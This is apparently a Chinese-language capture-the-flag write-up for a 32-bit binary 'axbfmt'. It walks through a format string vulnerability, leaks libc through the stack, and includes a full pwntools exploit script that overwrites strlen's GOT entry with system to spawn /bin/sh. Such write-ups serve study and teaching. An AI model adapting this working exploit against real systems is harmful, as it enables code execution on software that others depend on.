前两行memset将s,format中的值全部置为0,sprintf函数将s中的值与Repeater:拼接为一个字符串后存放在format中。printf(format)存在格式化字符串漏洞。

checksec下,relro保护半开,可以更改got表。

当RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写;为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.array、fini.array、got.plt均可读不可写。

gdb下,确定格式化字符串的位置

发现有两个地方存放着aaaaaaaa,这是为什么呢?看一眼ida,输入的字符串先存放在s中,然后与Repeater:拼接存入format。为了方便起见,我们选用上面的作为参数。计算下偏移

确定下思路,更改strlen的got表地址为system的地址,下一次循环再发送/bin/sh完成调用。

首先需要泄露出system的真实地址,我们在栈上找出了(__libc_start_main+245)的偏移,通过%151$s泄露出(libc_start_main+245)的真实地址再减去245得到libc_start_main的真实地址,继而得到基址,最终获得system的真实地址,即:

libc_addr=int(p.recv(8),16)-245

libc=ELF(‘/lib/i386-linux-gnu/libc.so.6’)
libcbase=libc_addr-libc.symbols[‘__libc_start_main’]

sys_addr=libcbase+libc.symbols[‘system’]

修改got表时需要注意使用hn而不是n,一次修改4个字节的话程序会崩溃,首先(sys_addr&0xffff)-9取出system函数的低八位,-9是因为printf(format)输出了Repeater:这9个字符。然后((sys_addr>>16)&0xffff)-(sys_addr&0xffff)取出高两位的字节

exp如下:

from pwn import *
p=process(‘./axbfmt’)
elf=ELF(‘./axbfmt’)
libc=ELF(‘/lib/i386-linux-gnu/libc.so.6’)
p.recv()
payload1=b’%151$p’
p.sendline(payload1)
p.recvuntil(b’0x’)
libc_addr=int(p.recv(8),16)-245
libcbase=libc_addr-libc.symbols[‘__libc_start_main’]
print(hex(libcbase))
sys_addr=libcbase+libc.symbols[‘system’]
print(hex(sys_addr))
payload=b’%’+str((sys_addr&0xffff)-9).encode(‘utf-8’) +b’c%20$hn’
payload+=b’%’+str(((sys_addr>>16)&0xffff)-(sys_addr&0xffff)).encode(‘utf-8’)+b’c%21$hn’
payload = payload.ljust(0x31,b’a’)
payload+=p32(elf.got[‘strlen’])+p32(elf.got[‘strlen’]+2)
p.sendlineafter(b”Please tell me:”,payload)
p.recv()
p.sendline(b’;/bin/sh\x00’)
print(hex((sys_addr&0xffff)-9))
print(hex((sys_addr>>16)&0xffff))

p.interactive()